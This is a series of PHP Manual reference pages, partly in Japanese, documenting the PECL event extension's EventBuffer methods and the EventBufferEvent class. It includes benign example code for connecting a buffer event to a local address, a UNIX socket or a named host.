Copies out specified number of bytes from the front of the buffer

  • ≪ EventBuffer::__construct
  • EventBuffer::drain ≫
  • PHP Manual
  • EventBuffer
  • Copies out specified number of bytes from the front of the buffer

EventBuffer::copyout

(PECL event >= 1.2.6-beta)

EventBuffer::copyout — Copies out specified number of bytes from the front of the buffer

説明

public EventBuffer::copyout ( string &$data , int $max_bytes ) : int

Behaves just like EventBuffer::read() , but does not drain any data from the buffer. I.e. it copies the first max_bytes bytes from the front of the buffer into data . If there are fewer than max_bytes bytes available, the function copies all the bytes there are.

パラメータ

data

Output string.

max_bytes

The number of bytes to copy.

返り値

Returns the number of bytes copied, or -1 on failure.

参考

  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Removes specified number of bytes from the front of the buffer without copying it anywhere

  • ≪ EventBuffer::copyout
  • EventBuffer::enableLocking ≫
  • PHP Manual
  • EventBuffer
  • Removes specified number of bytes from the front of the buffer without copying it anywhere

EventBuffer::drain

(PECL event >= 1.2.6-beta)

EventBuffer::drain — Removes specified number of bytes from the front of the buffer without copying it anywhere

説明

public EventBuffer::drain ( int $len ) : bool

Behaves as EventBuffer::read() , except that it does not copy the data: it just removes it from the front of the buffer.

パラメータ

len

The number of bytes to remove from the buffer.

返り値

Returns true on success. Otherwise false.

参考

  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


説明

  • ≪ EventBuffer::drain
  • EventBuffer::expand ≫
  • PHP Manual
  • EventBuffer
  • 説明

EventBuffer::enableLocking

(PECL event >= 1.2.6-beta)

EventBuffer::enableLocking —

説明

public EventBuffer::enableLocking ( ) : void

Enable locking on an EventBuffer so that it can safely be used by multiple threads at the same time. When locking is enabled, the lock will be held when callbacks are invoked. This could result in deadlock if you aren't careful. Plan accordingly!

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • » Evbuffers and Thread-safety

User Contributed Notes

There are no user contributed notes for this page.


Reserves space in buffer

  • ≪ EventBuffer::enableLocking
  • EventBuffer::freeze ≫
  • PHP Manual
  • EventBuffer
  • Reserves space in buffer

EventBuffer::expand

(PECL event >= 1.2.6-beta)

EventBuffer::expand — Reserves space in buffer

説明

public EventBuffer::expand ( int $len ) : bool

Alters the last chunk of memory in the buffer, or adds a new chunk, such that the buffer is now large enough to contain len bytes without any further allocations.

パラメータ

len

The number of bytes to reserve for the buffer

返り値

Returns true on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Prevent calls that modify an event buffer from succeeding

  • ≪ EventBuffer::expand
  • EventBuffer::lock ≫
  • PHP Manual
  • EventBuffer
  • Prevent calls that modify an event buffer from succeeding

EventBuffer::freeze

(PECL event >= 1.2.6-beta)

EventBuffer::freeze — Prevent calls that modify an event buffer from succeeding

説明

public EventBuffer::freeze ( bool $at_front ) : bool

Prevent calls that modify an event buffer from succeeding

パラメータ

at_front

Whether to disable changes to the front or end of the buffer.

返り値

Returns true on success. Otherwise false.

参考

  • EventBuffer::unfreeze() - Re-enable calls that modify an event buffer

User Contributed Notes

There are no user contributed notes for this page.


Acquires a lock on buffer

  • ≪ EventBuffer::freeze
  • EventBuffer::prepend ≫
  • PHP Manual
  • EventBuffer
  • Acquires a lock on buffer

EventBuffer::lock

(PECL event >= 1.2.6-beta)

EventBuffer::lock — Acquires a lock on buffer

説明

public EventBuffer::lock ( ) : void

Acquires a lock on buffer. Can be used in pair with EventBuffer::unlock() to make a set of operations atomic, i.e. thread-safe. Note, it is not needed to lock buffers for individual operations. When locking is enabled(see EventBuffer::enableLocking() ), individual operations on event buffers are already atomic.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • EventBuffer::unlock() - Releases lock acquired by EventBuffer::lock

User Contributed Notes

There are no user contributed notes for this page.


Prepend data to the front of the buffer

  • ≪ EventBuffer::lock
  • EventBuffer::prependBuffer ≫
  • PHP Manual
  • EventBuffer
  • Prepend data to the front of the buffer

EventBuffer::prepend

(PECL event >= 1.2.6-beta)

EventBuffer::prepend — Prepend data to the front of the buffer

説明

public EventBuffer::prepend ( string $data ) : bool

Prepend data to the front of the buffer.

パラメータ

data

String to be prepended to the front of the buffer.

返り値

Returns true on success. Otherwise false.

参考

  • EventBuffer::prependBuffer() - Moves all data from source buffer to the front of current buffer
  • EventBuffer::add() - Append data to the end of an event buffer
  • EventBuffer::addBuffer() - Move all data from a buffer provided to the current instance of EventBuffer

User Contributed Notes

There are no user contributed notes for this page.


Moves all data from source buffer to the front of current buffer

  • ≪ EventBuffer::prepend
  • EventBuffer::pullup ≫
  • PHP Manual
  • EventBuffer
  • Moves all data from source buffer to the front of current buffer

EventBuffer::prependBuffer

(PECL event >= 1.2.6-beta)

EventBuffer::prependBuffer — Moves all data from source buffer to the front of current buffer

説明

public EventBuffer::prependBuffer ( EventBuffer $buf ) : bool

Behaves as EventBuffer::addBuffer() , except that it moves data to the front of the buffer.

パラメータ

buf

Source buffer.

返り値

Returns true on success. Otherwise false.

参考

  • EventBuffer::add() - Append data to the end of an event buffer
  • EventBuffer::addBuffer() - Move all data from a buffer provided to the current instance of EventBuffer
  • EventBuffer::prepend() - Prepend data to the front of the buffer

User Contributed Notes

There are no user contributed notes for this page.


Linearizes data within buffer and returns it's contents as a string

  • ≪ EventBuffer::prependBuffer
  • EventBuffer::read ≫
  • PHP Manual
  • EventBuffer
  • Linearizes data within buffer and returns it's contents as a string

EventBuffer::pullup

(PECL event >= 1.2.6-beta)

EventBuffer::pullup — Linearizes data within buffer and returns it's contents as a string

説明

public EventBuffer::pullup ( int $size ) : string

"Linearizes" the first size bytes of the buffer, copying or moving them as needed to ensure that they are all contiguous and occupying the same chunk of memory. If size is negative, the function linearizes the entire buffer.

警告

Calling EventBuffer::pullup() with a large size can be quite slow, since it potentially needs to copy the entire buffer's contents.

パラメータ

size

The number of bytes required to be contiguous within the buffer.

返り値

If size is greater than the number of bytes in the buffer, the function returns null. Otherwise, EventBuffer::pullup() returns string.

参考

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read
  • EventBuffer::readLine() - Extracts a line from the front of the buffer
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Read data from an evbuffer and drain the bytes read

  • ≪ EventBuffer::pullup
  • EventBuffer::readFrom ≫
  • PHP Manual
  • EventBuffer
  • Read data from an evbuffer and drain the bytes read

EventBuffer::read

(PECL event >= 1.6.0)

EventBuffer::read — Read data from an evbuffer and drain the bytes read

説明

public EventBuffer::read ( int $max_bytes ) : string

Read the first max_bytes from the buffer and drain the bytes read. If more max_bytes are requested than are available in the buffer, it only extracts as many bytes as available.

パラメータ

max_bytes

Maxmimum number of bytes to read from the buffer.

返り値

Returns string read, or false on failure.

変更履歴

バージョン | 説明
PECL event 1.6.0 | Renamed EventBuffer::read()(the old method name) to EventBuffer::read(). EventBuffer::read() now takes only max_bytes argument; returns string instead of integer.

参考

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::pullup() - Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::readLine() - Extracts a line from the front of the buffer
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

reyad dot attiyat at gmail dot com 03-Mar-2016 10:30
This function is actually called readFrom(int fd, int max_bytes)


Read data from a file onto the end of the buffer

  • ≪ EventBuffer::read
  • EventBuffer::readLine ≫
  • PHP Manual
  • EventBuffer
  • Read data from a file onto the end of the buffer

EventBuffer::readFrom

(PECL event >= 1.7.0)

EventBuffer::readFrom — Read data from a file onto the end of the buffer

説明

public EventBuffer::read ( mixed $fd , int $howmuch ) : int

Read data from the file specified by fd onto the end of the buffer.

パラメータ

fd

Socket resource, stream, or numeric file descriptor.

howmuch

Maxmimum number of bytes to read.

返り値

Returns the number of bytes read, or false on failure.

参考

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::pullup() - Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::readLine() - Extracts a line from the front of the buffer
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Extracts a line from the front of the buffer

  • ≪ EventBuffer::readFrom
  • EventBuffer::search ≫
  • PHP Manual
  • EventBuffer
  • Extracts a line from the front of the buffer

EventBuffer::readLine

(PECL event >= 1.2.6-beta)

EventBuffer::readLine — Extracts a line from the front of the buffer

説明

public EventBuffer::readLine ( int $eol_style ) : string

Extracts a line from the front of the buffer and returns it in a newly allocated string. If there is not a whole line to read, the function returns null. The line terminator is not included in the copied string.

パラメータ

eol_style

One of EventBuffer:EOL_* constants .

返り値

On success returns the line read from the buffer, otherwise null.

参考

  • EventBuffer::copyout() - Copies out specified number of bytes from the front of the buffer
  • EventBuffer::drain() - Removes specified number of bytes from the front of the buffer without copying it anywhere
  • EventBuffer::pullup() - Linearizes data within buffer and returns it's contents as a string
  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read
  • EventBuffer::appendFrom() - Moves the specified number of bytes from a source buffer to the end of the current buffer

User Contributed Notes

There are no user contributed notes for this page.


Scans the buffer for an occurrence of a string

  • ≪ EventBuffer::readLine
  • EventBuffer::searchEol ≫
  • PHP Manual
  • EventBuffer
  • Scans the buffer for an occurrence of a string

EventBuffer::search

(PECL event >= 1.2.6-beta)

EventBuffer::search — Scans the buffer for an occurrence of a string

説明

public EventBuffer::search ( string $what , int $start = -1 , int $end = -1 ) : mixed

Scans the buffer for an occurrence of the string what . It returns numeric position of the string, or false if the string was not found.

If the start argument is provided, it points to the position at which the search should begin; otherwise, the search is performed from the start of the string. If end argument provided, the search is performed between start and end buffer positions.

パラメータ

what

String to search.

start

Start search position.

end

End search position.

返り値

Returns numeric position of the first occurance of the string in the buffer, or false if string is not found.

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

例

例1 EventBuffer::search() example

<?php
// Count total occurances of 'str' in 'buf'
function count_instances($buf, $str) {
    $total = 0;
    $p     = 0;
    $i     = 0;

    while (1) {
        $p = $buf->search($str, $p);
        if ($p === FALSE) {
            break;
        }
        ++$total;
        ++$p;
    }

    return $total;
}

$buf = new EventBuffer();
$buf->add("Some string within a string inside another string");
var_dump(count_instances($buf, "str"));
?>

上の例の出力は、 たとえば以下のようになります。

int(3)

参考

  • EventBuffer::searchEol() - Scans the buffer for an occurrence of an end of line

User Contributed Notes

There are no user contributed notes for this page.


Scans the buffer for an occurrence of an end of line

  • ≪ EventBuffer::search
  • EventBuffer::substr ≫
  • PHP Manual
  • EventBuffer
  • Scans the buffer for an occurrence of an end of line

EventBuffer::searchEol

(PECL event >= 1.5.0)

EventBuffer::searchEol — Scans the buffer for an occurrence of an end of line

説明

public EventBuffer::searchEol ( int $start = -1 , int $eol_style = EventBuffer::EOL_ANY ) : mixed

Scans the buffer for an occurrence of an end of line specified by eol_style parameter . It returns numeric position of the string, or false if the string was not found.

If the start argument is provided, it represents the position at which the search should begin; otherwise, the search is performed from the start of the string. If end argument provided, the search is performed between start and end buffer positions.

パラメータ

start

Start search position.

eol_style

One of EventBuffer:EOL_* constants .

返り値

Returns numeric position of the first occurance of end-of-line symbol in the buffer, or false if not found.

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

参考

  • EventBuffer::search() - Scans the buffer for an occurrence of a string

User Contributed Notes

There are no user contributed notes for this page.


Substracts a portion of the buffer data

  • ≪ EventBuffer::searchEol
  • EventBuffer::unfreeze ≫
  • PHP Manual
  • EventBuffer
  • Substracts a portion of the buffer data

EventBuffer::substr

(PECL event >= 1.6.0)

EventBuffer::substr — Substracts a portion of the buffer data

説明

public EventBuffer::substr ( int $start , int $length = ? ) : string

Substracts up to length bytes of the buffer data beginning at start position.

パラメータ

start

The start position of data to be substracted.

length

Maximum number of bytes to substract.

返り値

Returns the data substracted as a string on success, or false on failure.

参考

  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read

User Contributed Notes

There are no user contributed notes for this page.


Re-enable calls that modify an event buffer

  • ≪ EventBuffer::substr
  • EventBuffer::unlock ≫
  • PHP Manual
  • EventBuffer
  • Re-enable calls that modify an event buffer

EventBuffer::unfreeze

(PECL event >= 1.2.6-beta)

EventBuffer::unfreeze — Re-enable calls that modify an event buffer

説明

public EventBuffer::unfreeze ( bool $at_front ) : bool

Re-enable calls that modify an event buffer.

パラメータ

at_front

Whether to enable events at the front or at the end of the buffer.

返り値

Returns true on success. Otherwise false.

参考

  • EventBuffer::freeze() - Prevent calls that modify an event buffer from succeeding

User Contributed Notes

There are no user contributed notes for this page.


Releases lock acquired by EventBuffer::lock

  • ≪ EventBuffer::unfreeze
  • EventBuffer::write ≫
  • PHP Manual
  • EventBuffer
  • Releases lock acquired by EventBuffer::lock

EventBuffer::unlock

(PECL event >= 1.2.6-beta)

EventBuffer::unlock — Releases lock acquired by EventBuffer::lock

説明

public EventBuffer::unlock ( ) : bool

Releases lock acquired by EventBuffer::lock() .

パラメータ

この関数にはパラメータはありません。

返り値

Returns true on success. Otherwise false.

参考

  • EventBuffer::lock() - Acquires a lock on buffer

User Contributed Notes

There are no user contributed notes for this page.


Write contents of the buffer to a file or socket

  • ≪ EventBuffer::unlock
  • EventBufferEvent ≫
  • PHP Manual
  • EventBuffer
  • Write contents of the buffer to a file or socket

EventBuffer::write

(PECL event >= 1.6.0)

EventBuffer::write — Write contents of the buffer to a file or socket

説明

public EventBuffer::write ( mixed $fd , int $howmuch = ? ) : int

Write contents of the buffer to a file descriptor. The buffer will be drained after the bytes have been successfully written.

パラメータ

fd

Socket resource, stream or numeric file descriptor associated normally associated with a socket.

howmuch

The maximum number of bytes to write.

返り値

Returns the number of bytes written, or false on error.

参考

  • EventBuffer::read() - Read data from an evbuffer and drain the bytes read

User Contributed Notes

There are no user contributed notes for this page.


The EventBufferEvent class

(PECL event >= 1.2.6-beta)

はじめに

Represents Libevent's buffer event.

Usually an application wants to perform some amount of data buffering in addition to just responding to events. When we want to write data, for example, the usual pattern looks like:

  1. Decide that we want to write some data to a connection; put that data in a buffer.

  2. Wait for the connection to become writable

  3. Write as much of the data as we can

  4. Remember how much we wrote, and if we still have more data to write, wait for the connection to become writable again.

This buffered I/O pattern is common enough that Libevent provides a generic mechanism for it. A "buffer event" consists of an underlying transport (like a socket), a read buffer, and a write buffer. Instead of regular events, which give callbacks when the underlying transport is ready to be read or written, a buffer event invokes its user-supplied callbacks when it has read or written enough data.

クラス概要

final EventBufferEvent {
/* Constants */
const int READING = 1 ;
const int WRITING = 2 ;
const int EOF = 16 ;
const int ERROR = 32 ;
const int TIMEOUT = 64 ;
const int CONNECTED = 128 ;
const int OPT_CLOSE_ON_FREE = 1 ;
const int OPT_THREADSAFE = 2 ;
const int OPT_DEFER_CALLBACKS = 4 ;
const int OPT_UNLOCK_CALLBACKS = 8 ;
const int SSL_OPEN = 0 ;
const int SSL_CONNECTING = 1 ;
const int SSL_ACCEPTING = 2 ;
/* プロパティ */
public int $fd ;
public int $priority ;
public readonly EventBuffer $input ;
public readonly EventBuffer $output ;
/* メソッド */
public close ( ) : void
public connect ( string $addr ) : bool
public connectHost ( EventDnsBase $dns_base , string $hostname , int $port , int $family = EventUtil::AF_UNSPEC ) : bool
public __construct ( EventBase $base , mixed $socket = null , int $options = 0 , callable $readcb = null , callable $writecb = null , callable $eventcb = null )
public static createPair ( EventBase $base , int $options = 0 ) : array
public disable ( int $events ) : bool
public enable ( int $events ) : bool
public free ( ) : void
public getDnsErrorString ( ) : string
public getEnabled ( ) : int
public getInput ( ) : EventBuffer
public getOutput ( ) : EventBuffer
public read ( int $size ) : string
public readBuffer ( EventBuffer $buf ) : bool
public setCallbacks ( callable $readcb , callable $writecb , callable $eventcb , string $arg = ? ) : void
public setPriority ( int $priority ) : bool
public setTimeouts ( float $timeout_read , float $timeout_write ) : bool
public setWatermark ( int $events , int $lowmark , int $highmark ) : void
public sslError ( ) : string
public static sslFilter ( EventBase $base , EventBufferEvent $underlying , EventSslContext $ctx , int $state , int $options = 0 ) : EventBufferEvent
public sslGetCipherInfo ( ) : string
public sslGetCipherName ( ) : string
public sslGetCipherVersion ( ) : string
public sslGetProtocol ( ) : string
public sslRenegotiate ( ) : void
public static sslSocket ( EventBase $base , mixed $socket , EventSslContext $ctx , int $state , int $options = ? ) : EventBufferEvent
public write ( string $data ) : bool
public writeBuffer ( EventBuffer $buf ) : bool
}

プロパティ

fd

Numeric file descriptor associated with the buffer event. Normally represents a bound socket. Equals to null, if there is no file descriptor(socket) associated with the buffer event.

priority

The priority of the events used to implement the buffer event.

input

Underlying input buffer object( EventBuffer )

output

Underlying output buffer object( EventBuffer )

定義済み定数

EventBufferEvent::READING

An event occurred during a read operation on the bufferevent. See the other flags for which event it was.

EventBufferEvent::WRITING

An event occurred during a write operation on the bufferevent. See the other flags for which event it was.

EventBufferEvent::EOF

Got an end-of-file indication on the buffer event.

EventBufferEvent::ERROR

An error occurred during a bufferevent operation. For more information on what the error was, call EventUtil::getLastSocketErrno() and/or EventUtil::getLastSocketError() .

EventBufferEvent::TIMEOUT

EventBufferEvent::CONNECTED

Finished a requested connection on the bufferevent.

EventBufferEvent::OPT_CLOSE_ON_FREE

When the buffer event is freed, close the underlying transport. This will close an underlying socket, free an underlying buffer event, etc.

EventBufferEvent::OPT_THREADSAFE

Automatically allocate locks for the bufferevent, so that it's safe to use from multiple threads.

EventBufferEvent::OPT_DEFER_CALLBACKS

When this flag is set, the bufferevent defers all of its callbacks. See » Fast portable non-blocking network programming with Libevent, Deferred callbacks .

EventBufferEvent::OPT_UNLOCK_CALLBACKS

By default, when the bufferevent is set up to be threadsafe, the buffer event's locks are held whenever the any user-provided callback is invoked. Setting this option makes Libevent release the buffer event's lock when it's invoking the callbacks.

EventBufferEvent::SSL_OPEN

The SSL handshake is done

EventBufferEvent::SSL_CONNECTING

SSL is currently performing negotiation as a client

EventBufferEvent::SSL_ACCEPTING

SSL is currently performing negotiation as a server

目次

  • EventBufferEvent::close — Closes file descriptor associated with the current buffer event
  • EventBufferEvent::connect — Connect buffer event's file descriptor to given address or UNIX socket
  • EventBufferEvent::connectHost — Connects to a hostname with optionally asyncronous DNS resolving
  • EventBufferEvent::__construct — Constructs EventBufferEvent object
  • EventBufferEvent::createPair — Creates two buffer events connected to each other
  • EventBufferEvent::disable — Disable events read, write, or both on a buffer event
  • EventBufferEvent::enable — Enable events read, write, or both on a buffer event
  • EventBufferEvent::free — Free a buffer event
  • EventBufferEvent::getDnsErrorString — Returns string describing the last failed DNS lookup attempt
  • EventBufferEvent::getEnabled — Returns bitmask of events currently enabled on the buffer event
  • EventBufferEvent::getInput — Returns underlying input buffer associated with current buffer event
  • EventBufferEvent::getOutput — Returns underlying output buffer associated with current buffer event
  • EventBufferEvent::read — Read buffer's data
  • EventBufferEvent::readBuffer — Drains the entire contents of the input buffer and places them into buf
  • EventBufferEvent::setCallbacks — Assigns read, write and event(status) callbacks
  • EventBufferEvent::setPriority — Assign a priority to a bufferevent
  • EventBufferEvent::setTimeouts — Set the read and write timeout for a buffer event
  • EventBufferEvent::setWatermark — Adjusts read and/or write watermarks
  • EventBufferEvent::sslError — Returns most recent OpenSSL error reported on the buffer event
  • EventBufferEvent::sslFilter — Create a new SSL buffer event to send its data over another buffer event
  • EventBufferEvent::sslGetCipherInfo — Returns a textual description of the cipher
  • EventBufferEvent::sslGetCipherName — Returns the current cipher name of the SSL connection
  • EventBufferEvent::sslGetCipherVersion — Returns version of cipher used by current SSL connection
  • EventBufferEvent::sslGetProtocol — Returns the name of the protocol used for current SSL connection
  • EventBufferEvent::sslRenegotiate — Tells a bufferevent to begin SSL renegotiation
  • EventBufferEvent::sslSocket — Creates a new SSL buffer event to send its data over an SSL on a socket
  • EventBufferEvent::write — Adds data to a buffer event's output buffer
  • EventBufferEvent::writeBuffer — Adds contents of the entire buffer to a buffer event's output buffer

User Contributed Notes

There are no user contributed notes for this page.


Closes file descriptor associated with the current buffer event

  • ≪ EventBufferEvent
  • EventBufferEvent::connect ≫
  • PHP Manual
  • EventBufferEvent
  • Closes file descriptor associated with the current buffer event

EventBufferEvent::close

(PECL event >= 1.10.0)

EventBufferEvent::close — Closes file descriptor associated with the current buffer event

説明

public EventBufferEvent::close ( ) : void

Closes file descriptor associated with the current buffer event.

This method may be used in cases when the EventBufferEvent::OPT_CLOSE_ON_FREE option is not appropriate.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Connect buffer event's file descriptor to given address or UNIX socket

  • ≪ EventBufferEvent::close
  • EventBufferEvent::connectHost ≫
  • PHP Manual
  • EventBufferEvent
  • Connect buffer event's file descriptor to given address or UNIX socket

EventBufferEvent::connect

(PECL event >= 1.2.6-beta)

EventBufferEvent::connect — Connect buffer event's file descriptor to given address or UNIX socket

説明

public EventBufferEvent::connect ( string $addr ) : bool

Connect buffer event's file descriptor to given address(optionally with port), or a UNIX domain socket.

If socket is not assigned to the buffer event, this function allocates a new socket and makes it non-blocking internally.

To resolve DNS names(asyncronously), use EventBufferEvent::connectHost() method.

パラメータ

addr

Should contain an IP address with optional port number, or a path to UNIX domain socket. Recognized formats are:

[IPv6Address]:port
[IPv6Address]
IPv6Address
IPv4Address:port
IPv4Address
unix:path
Note, 'unix:' prefix is currently not case sensitive.

返り値

Returns true on success. Otherwise false.

例

例1 EventBufferEvent::connect() example

<?php
/*
 * 1. Connect to 127.0.0.1 at port 80
 * by means of EventBufferEvent::connect().
 *
 * 2. Request /index.cphp via HTTP/1.0
 * using the output buffer.
 *
 * 3. Asyncronously read the response and print it to stdout.
 */

/* Read callback */
function readcb($bev, $base) {
    $input = $bev->getInput();

    while (($n = $input->remove($buf, 1024)) > 0) {
        echo $buf;
    }
}

/* Event callback */
function eventcb($bev, $events, $base) {
    if ($events & EventBufferEvent::CONNECTED) {
        echo "Connected.\n";
    } elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
        if ($events & EventBufferEvent::ERROR) {
            echo "DNS error: ", $bev->getDnsErrorString(), PHP_EOL;
        }

        echo "Closing\n";
        $base->exit();
        exit("Done\n");
    }
}

$base = new EventBase();

echo "step 1\n";
$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
    EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS);
if (!$bev) {
    exit("Failed creating bufferevent socket\n");
}

echo "step 2\n";
$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

echo "step 3\n";
/* Send request */
$output = $bev->getOutput();
if (!$output->add(
    "GET /index.cphp HTTP/1.0\r\n".
    "Connection: Close\r\n\r\n"
)) {
    exit("Failed adding request to output buffer\n");
}

/* Connect to the host syncronously.
 * We know the IP, and don't need to resolve DNS. */
if (!$bev->connect("127.0.0.1:80")) {
    exit("Can't connect to host\n");
}

/* Dispatch pending events */
$base->dispatch();

上の例の出力は、 たとえば以下のようになります。

step 1
step 2
step 3
Connected.
HTTP/1.1 200 OK
Server: nginx/1.2.6
Date: Sat, 09 Mar 2013 10:06:58 GMT
Content-Type: text/html; CHARSET=shift-jis
Connection: close
X-Powered-By: PHP/5.4.11--pl2-gentoo

sdfsdfsf
Closing
Done

例2 Connect to UNIX domain socket which presumably is served by a server, read response from the server and output it to the console

<?php
class MyUnixSocketClient {
    private $base, $bev;

    function __construct($base, $sock_path) {
        $this->base = $base;
        $this->bev = new EventBufferEvent($base, NULL, EventBufferEvent::OPT_CLOSE_ON_FREE,
            array ($this, "read_cb"), NULL, array ($this, "event_cb"));

        if (!$this->bev->connect("unix:$sock_path")) {
            trigger_error("Failed to connect to socket `$sock_path'", E_USER_ERROR);
        }

        $this->bev->enable(Event::READ);
    }

    function __destruct() {
        if ($this->bev) {
            $this->bev->free();
            $this->bev = NULL;
        }
    }

    function dispatch() {
        $this->base->dispatch();
    }

    function read_cb($bev, $unused) {
        $in = $bev->input;

        printf("Received %ld bytes\n", $in->length);
        printf("----- data ----\n");
        printf("%ld:\t%s\n", (int) $in->length, $in->pullup(-1));

        $this->bev->free();
        $this->bev = NULL;
        $this->base->exit(NULL);
    }

    function event_cb($bev, $events, $unused) {
        if ($events & EventBufferEvent::ERROR) {
            echo "Error from bufferevent\n";
        }

        if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
            $bev->free();
            $bev = NULL;
        } elseif ($events & EventBufferEvent::CONNECTED) {
            $bev->output->add("test\n");
        }
    }
}

if ($argc <= 1) {
    exit("Socket path is not provided\n");
}
$sock_path = $argv[1];

$base = new EventBase();
$cl = new MyUnixSocketClient($base, $sock_path);
$cl->dispatch();
?>

上の例の出力は、 たとえば以下のようになります。

Received 5 bytes
----- data ----
5:  test

参考

  • EventBufferEvent::connectHost() - Connects to a hostname with optionally asyncronous DNS resolving

User Contributed Notes

There are no user contributed notes for this page.


Connects to a hostname with optionally asyncronous DNS resolving

  • ≪ EventBufferEvent::connect
  • EventBufferEvent::__construct ≫
  • PHP Manual
  • EventBufferEvent
  • Connects to a hostname with optionally asyncronous DNS resolving

EventBufferEvent::connectHost

(PECL event >= 1.2.6-beta)

EventBufferEvent::connectHost — Connects to a hostname with optionally asyncronous DNS resolving

説明

public EventBufferEvent::connectHost ( EventDnsBase $dns_base , string $hostname , int $port , int $family = EventUtil::AF_UNSPEC ) : bool

Resolves the DNS name hostname, looking for addresses of type family ( EventUtil::AF_* constants). If the name resolution fails, it invokes the event callback with an error event. If it succeeds, it launches a connection attempt just as EventBufferEvent::connect() would.

dns_base is optional. May be null, or an object created with EventDnsBase::__construct() . For asyncronous hostname resolving pass a valid event dns base resource. Otherwise the hostname resolving will block.

注意:

EventDnsBase is available only if Event configured --with-event-extra ( event_extra library, libevent protocol-specific functionality support including HTTP, DNS, and RPC ).

注意:

EventBufferEvent::connectHost() requires libevent-2.0.3-alpha or greater.

パラメータ

dns_base

Object of EventDnsBase in case if DNS is to be resolved asyncronously. Otherwise null.

hostname

Hostname to connect to. Recognized formats are:

www.example.com (hostname)
 1.2.3.4 (ipv4address)
 ::1 (ipv6address)
[::1] ([ipv6address])

port

Port number

family

Address family. EventUtil::AF_UNSPEC , EventUtil::AF_INET , or EventUtil::AF_INET6 . See EventUtil constants .

返り値

Returns true on success. Otherwise false.

例

例1 EventBufferEvent::connectHost() example

<?php
/* Read callback */
function readcb($bev, $base) {
    //$input = $bev->input; //$bev->getInput();

    //$pos = $input->search("TTP");
    $pos = $bev->input->search("TTP");

    while (($n = $bev->input->remove($buf, 1024)) > 0) {
        echo $buf;
    }
}

/* Event callback */
function eventcb($bev, $events, $base) {
    if ($events & EventBufferEvent::CONNECTED) {
        echo "Connected.\n";
    } elseif ($events & (EventBufferEvent::ERROR | EventBufferEvent::EOF)) {
        if ($events & EventBufferEvent::ERROR) {
            echo "DNS error: ", $bev->getDnsErrorString(), PHP_EOL;
        }

        echo "Closing\n";
        $base->exit();
        exit("Done\n");
    }
}

$base = new EventBase();

$dns_base = new EventDnsBase($base, TRUE); // We'll use async DNS resolving
if (!$dns_base) {
    exit("Failed to init DNS Base\n");
}

$bev = new EventBufferEvent($base, /* use internal socket */ NULL,
    EventBufferEvent::OPT_CLOSE_ON_FREE | EventBufferEvent::OPT_DEFER_CALLBACKS,
    "readcb", /* writecb */ NULL, "eventcb", $base
);
if (!$bev) {
    exit("Failed creating bufferevent socket\n");
}

//$bev->setCallbacks("readcb", /* writecb */ NULL, "eventcb", $base);
$bev->enable(Event::READ | Event::WRITE);

$output = $bev->output; //$bev->getOutput();
if (!$output->add(
    "GET {$argv[2]} HTTP/1.0\r\n".
    "Host: {$argv[1]}\r\n".
    "Connection: Close\r\n\r\n"
)) {
    exit("Failed adding request to output buffer\n");
}

if (!$bev->connectHost($dns_base, $argv[1], 80, EventUtil::AF_UNSPEC)) {
    exit("Can't connect to host {$argv[1]}\n");
}

$base->dispatch();
?>

上の例の出力は、 たとえば以下のようになります。

Connected.
HTTP/1.0 301 Moved Permanently
Location: http://www.google.co.uk/
Content-Type: text/html; CHARSET=shift-jis
Date: Sat, 09 Mar 2013 12:21:19 GMT
Expires: Mon, 08 Apr 2013 12:21:19 GMT
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 221
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN

<HTML><HEAD><meta http-equiv="content-type" content="text/html;CHARSET=shift-jis">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.co.uk/">here</A>.
</BODY></HTML>
Closing
Done

参考

  • EventBufferEvent::connect() - Connect buffer event's file descriptor to given address or UNIX socket

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventBufferEvent object

  • ≪ EventBufferEvent::connectHost
  • EventBufferEvent::createPair ≫
  • PHP Manual
  • EventBufferEvent
  • Constructs EventBufferEvent object

EventBufferEvent::__construct

(PECL event >= 1.2.6-beta)

